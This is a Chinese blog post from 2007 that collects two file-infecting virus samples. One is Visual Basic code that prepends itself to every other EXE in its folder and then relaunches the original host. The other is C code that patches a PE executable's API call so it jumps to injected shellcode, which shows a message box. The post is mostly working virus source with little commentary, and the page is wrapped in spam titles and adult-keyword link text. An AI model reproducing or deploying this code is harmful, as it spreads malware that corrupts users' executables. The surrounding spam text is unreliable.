青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

感染EXE

收集兩篇感染exe的文章,有時(shí)間了把它寫出來

VB:

Option Explicit
Private Victim As String '要感染的文件的名字
Private HostLen As Long '要感染的文件的大小
Private vbArray() As Byte '病毒的代碼
Private hArray() As Byte '要感染的文件的代碼
Private lenght As Long
Private MySize As Integer '病毒的大小

Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Sub form_Initialize()
Dim i As Long
On Error GoTo vbVerror '出錯(cuò)處理

'原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
As #1
ReDim MyArray(LOF(1) - 1)
MySize = LOF(1)
ReDim vbArray(MySize)
Get #1, 1, vbArray
Close #1
'這是在讀自己的代碼


Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個(gè)文件(目前只是在病毒所在的目錄下隨機(jī)選一個(gè),將來你可以修改,讓它不斷的循環(huán)搜索計(jì)算機(jī)上的所有文件。)
While Victim <> ""

If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
Open App.Path & "\" & Victim For Binary Access Read As #1
ReDim hArray(LOF(1))
Get #1, 1, hArray
Close #1
'讀出病毒自身的代碼


If hArray(&H69) <> &H4D Then

i = hArray(&H3C)
If hArray(i) = &H50 Then
Open App.Path & "\" & Victim For Binary Access Write As #1
Put #1, , vbArray
Put #1, MySize, hArray
Close #1
End If '要保證被感染的不是空文件(不是圈套)
End If
End If
'讀出準(zhǔn)備被感染的文件的代碼

Victim = Dir() 'Next

Wend

'下面的工作是為了保證病毒不會(huì)重復(fù)感染一個(gè)文件,也不會(huì)自我感染。

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
lenght = LOF(1) - MySize
If lenght <> 0 Then
ReDim vbArray(lenght - 1)
Get #1, MySize, vbArray
Close #1

Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
Put #1, , vbArray
Close #1


idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
GetExitCodeProcess hProg, iExit
Do While iExit = STILL_ACTIVE
DoEvents
GetExitCodeProcess hProg, iExit
Loop
Kill App.Path & "\" & App.EXEName & ".eve"

Else
Close #1

End If

End

vbVerror: '出錯(cuò)處理,空著就可以了

End Sub



VC:

/**************************************************************
* 函數(shù):InjectCode
* 參數(shù):char szHostFile[]--待感染的exe文件路徑

* 功能:感染一個(gè)exe程序,運(yùn)行顯示“金豬拜年”的MessageBox
* 從代碼節(jié)開始搜索,替換第一個(gè)發(fā)現(xiàn)的call api的指令
* 把目標(biāo)代碼插入代碼節(jié)的尾部
* 代碼僅供演示之用,沒有做過多的錯(cuò)誤處理
* 感染當(dāng)前hello.exe,插入一段彈出對(duì)話框代碼(當(dāng)然你可以修改成啟動(dòng)文件的代碼,嘿嘿)
* coded by robinh00d
* robinh00d_at_163.com
* 編譯:cl epo.c
**************************************************************/
int InjectCode(char szHostFile[])
{//#include <windows.h>
    PIMAGE_DOS_HEADER pImageDosHeader ;
    PIMAGE_NT_HEADERS pImageNtHeaders ;
    PIMAGE_SECTION_HEADER pImageSectionHeader;
    unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                            "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                            "\x8d\x83\x30\x10\x40\x00\x50\x50"
                            "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                            "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                            "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                            "\xC4\xEA\x00";
    HANDLE hFile ;
    HANDLE hMap ;
    LPVOID pMapping ;
    DWORD dwGapSize ;
    unsigned char *pGapEntry ;
    int i ;
    PROC MsgBox ;
    DWORD OldEntry ;
    int x = 0x18 ;
    int vir_len ;
    unsigned char *pSearch ;
    DWORD *dwCallNextAddr ;
    DWORD *dwCallDataOffset ;
    DWORD *dwCallDataAddr ;
    DWORD dwCallData ;
    DWORD dwCodeDistance ;
    DWORD *dwJmpAddr ;
    DWORD dwJmpData ;
    DWORD dwJmpVA ;

    //:::
    hFile = CreateFile(szHostFile,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL) ;
                       
    if (hFile==INVALID_HANDLE_VALUE)
    {
        return -1 ;
    }
   
    hMap = CreateFileMapping(hFile,
                            NULL,
                            PAGE_READWRITE,
                            0,
                            0,
                            NULL) ;
    if (!hMap)
        return -1 ;
   
    pMapping = MapViewOfFile(hMap,
                        FILE_MAP_ALL_ACCESS,
                        0,
                        0,
                        0) ;
    if (!pMapping)
        return -1 ;
   
    pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
    if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
    {
        pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
        if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
        {
            pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                            pImageDosHeader->e_lfanew+
                                                            sizeof(IMAGE_NT_HEADERS)) ;
            dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

>Misc.VirtualSize ;
           
            if (sizeof(thunkcode)>dwGapSize)
                goto Close ;
               
            pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;
           
            OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                        pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

            MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

            //修改為當(dāng)前系統(tǒng)的MessageBoxA地址
            for (i=3;i>=0;i--)
            {
                thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                x -= 8 ;
            }
            x = 24 ;
           
            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
           
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                       
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                    dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                    if ((*dwJmpAddr&0xffff)==0x25ff)
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                            x -= 8 ;
                        }
                        for (i=0;i<sizeof(thunkcode);i++)
                        {
                            pGapEntry[i] = thunkcode[i] ;
                        }
                        break ;
                    }
                }
               
            }
           
        }
    }

Close:
    UnmapViewOfFile(pMapping) ;
    CloseHandle(hMap) ;
    CloseHandle(hFile) ;
   
    return 0 ;
}

posted on 2007-10-08 14:21 葉子 閱讀(1074) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 技術(shù)研究

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            男同欧美伦乱| 欧美成人性生活| 小处雏高清一区二区三区| 欧美体内she精视频| 久久综合99re88久久爱| 亚洲综合不卡| 亚洲愉拍自拍另类高清精品| 亚洲欧美一区二区原创| 亚洲天堂av在线免费| 亚洲免费观看| 亚洲另类在线视频| 亚洲国产日韩综合一区| 激情久久婷婷| 1769国产精品| 亚洲国产精品悠悠久久琪琪| 国产伦精品一区二区三区四区免费 | 国产日韩欧美在线播放不卡| 欧美性生交xxxxx久久久| 欧美激情中文字幕一区二区| 午夜精品婷婷| 久久xxxx精品视频| 伊人久久大香线| 国产欧美精品在线播放| 免费观看亚洲视频大全| 久久久777| 国内精品写真在线观看| 国产视频一区欧美| 国内精品99| 亚洲精品乱码久久久久久久久 | 中日韩美女免费视频网址在线观看| 国产欧美日韩激情| 国际精品欧美精品| 91久久夜色精品国产九色| 99综合精品| 欧美一区二区三区的| 免费久久99精品国产自在现线| 久久久久久国产精品mv| 欧美激情一区二区三区蜜桃视频| 美女视频网站黄色亚洲| 亚洲免费观看视频| 亚洲精品乱码久久久久久按摩观 | 亚洲欧美一区二区视频| 亚洲国产日韩在线| 日韩视频二区| 欧美一区二区黄| 久久国产天堂福利天堂| 欧美/亚洲一区| 国产酒店精品激情| 亚洲精品色婷婷福利天堂| 久久久国产一区二区| 99精品99| 欧美日韩视频专区在线播放| 亚洲国产高潮在线观看| 久久亚洲春色中文字幕久久久| 亚洲视频一二| 国产精品theporn| 欧美护士18xxxxhd| 久久精品最新地址| 好吊妞**欧美| 久久阴道视频| 久久精品论坛| 1024亚洲| 亚洲高清三级视频| 免播放器亚洲一区| 亚洲片区在线| 亚洲欧洲综合| 欧美另类高清视频在线| 夜夜爽av福利精品导航| 亚洲精品自在久久| 欧美日韩精品综合| 一区二区三区欧美在线| 亚洲伦理自拍| 国产精品扒开腿做爽爽爽视频 | 亚洲精品极品| 欧美日韩国产系列| 亚洲视频axxx| 亚洲视频自拍偷拍| 国产乱码精品一区二区三区av| 香蕉久久夜色精品| 亚洲欧美综合一区| 精品成人a区在线观看| 免费在线观看日韩欧美| 欧美夫妇交换俱乐部在线观看| 亚洲美女精品久久| 一区二区三区国产盗摄| 国产一区av在线| 欧美大学生性色视频| 欧美国产激情二区三区| 在线中文字幕不卡| 欧美亚洲在线播放| 亚洲国产另类久久精品| 99视频一区| 国产日韩欧美二区| 亚洲高清色综合| 国产精品一区二区你懂的| 欧美不卡激情三级在线观看| 欧美日韩免费观看一区=区三区| 欧美一区二区免费观在线| 欧美一区二区三区视频免费播放| 又紧又大又爽精品一区二区| 亚洲黑丝在线| 国产精品美女久久久浪潮软件| 久久免费观看视频| 亚洲第一精品夜夜躁人人爽| 欧美h视频在线| 亚洲欧美在线aaa| 免费在线看一区| 午夜亚洲激情| 欧美大片在线观看| 久久婷婷综合激情| 欧美日韩中文精品| 久久综合久久久久88| 欧美日本精品一区二区三区| 久久香蕉国产线看观看av| 欧美日韩一区二区国产| 欧美1区2区| 国产日韩欧美一区二区三区在线观看| 亚洲国产欧美国产综合一区| 国产精品久久久久秋霞鲁丝| 亚洲国产小视频在线观看| 国产日韩欧美日韩| 正在播放日韩| 亚洲视频欧美在线| 欧美激情视频一区二区三区在线播放| 久久蜜桃资源一区二区老牛 | 国产精品爽黄69| 日韩天堂av| 一区二区久久久久| 欧美电影资源| 亚洲承认在线| 欧美绝品在线观看成人午夜影视 | 欧美午夜在线视频| 亚洲国产欧美一区| 精品动漫av| 久久精品99国产精品酒店日本| 亚洲欧美国产高清va在线播| 欧美久色视频| 99精品欧美一区二区三区| 亚洲精品欧洲| 欧美精品免费观看二区| 欧美黄色一区| 亚洲精品国产精品国自产观看浪潮 | 亚洲人成亚洲人成在线观看图片| 久久久久9999亚洲精品| 久久精品中文| 韩日成人在线| 久久精品久久综合| 老鸭窝毛片一区二区三区| 国产在线观看一区| 久久久久欧美| 亚洲高清电影| 亚洲视频专区在线| 欧美午夜免费影院| 亚洲一区成人| 欧美激情一区二区三区| 久久精品国产精品亚洲| 国产九区一区在线| 性欧美大战久久久久久久免费观看 | 亚洲精品久久嫩草网站秘色| 夜夜嗨av一区二区三区网页| 欧美视频在线观看 亚洲欧| 99日韩精品| 久久精品一区蜜桃臀影院| 一区视频在线| 欧美激情一区二区三区全黄| 亚洲最新合集| 久久漫画官网| 中文av字幕一区| 国内精品久久久久久久影视麻豆| 欧美77777| 亚洲午夜一级| 欧美aaa级| 亚洲你懂的在线视频| 狠狠入ady亚洲精品| 久久综合九九| 在线一区免费观看| 欧美成人一区二区三区| 在线亚洲激情| 国语自产精品视频在线看一大j8 | 久久精品国产免费观看| 亚洲高清网站| 国产精品美女久久久久久久| 久久综合中文色婷婷| 亚洲视频精品| 亚洲高清自拍| 久久九九全国免费精品观看| 日韩亚洲欧美一区| 国产伊人精品| 欧美日韩另类视频| 六十路精品视频| 亚洲一区激情| 亚洲麻豆av| 欧美成人资源网| 久久久久免费观看| 欧美一级电影久久| 亚洲一区二区三区在线播放| 亚洲精品欧美激情| 亚洲第一精品电影| 国产一区二区三区丝袜| 国产精品久久久久久久免费软件|